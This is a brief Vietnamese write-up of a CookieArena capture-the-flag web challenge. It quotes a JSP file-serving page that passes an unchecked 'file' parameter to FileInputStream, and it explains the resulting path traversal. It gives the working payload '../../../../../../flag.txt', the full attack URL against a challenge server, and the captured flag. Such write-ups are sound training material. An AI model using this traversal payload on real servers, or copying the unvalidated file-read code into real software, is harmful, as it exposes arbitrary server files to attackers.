Link: https://battle.cookiearena.org/challenges/web/under-construction
Try to read /flag.txt
Phân tích lổ hổng
File image.jsp
<%@ page trimDirectiveWhitespaces="true" %>
<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");
response.setContentType("image/jpeg");
try{
java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + _file);
int i;
while ((i = fileInputStream.read()) != -1) {
out.write(i);
}
fileInputStream.close();
}catch(Exception e){
response.sendError(404, "Not Found !" );
}
%>
Lỗ hổng Path Traversal ở đâu?
FileInputStream fileInputStream = new FileInputStream(filepath + _file);
Không hề có kiểm tra nào với giá trị _file
. Không kiểm tra ký tự ..
. Không kiểm tra rằng _file nằm bên trong thư mục /resources/
👉 Hệ quả:
Có thể truyền file=../../../../../../flag.txt
để chui ra ngoài thư mục /resources/
, truy cập vào bất kỳ file nào mà tiến trình web server có quyền đọc
==> Dùng burp bắt tới URL http://103.97.125.56:31999/image.jsp?file=../../../../../../flag.txt
==> FLAG: CHH{unD3R_cOns7rUcTI0N_cc2880e4ca1818f66e64c626e0b075d7}
Top comments (0)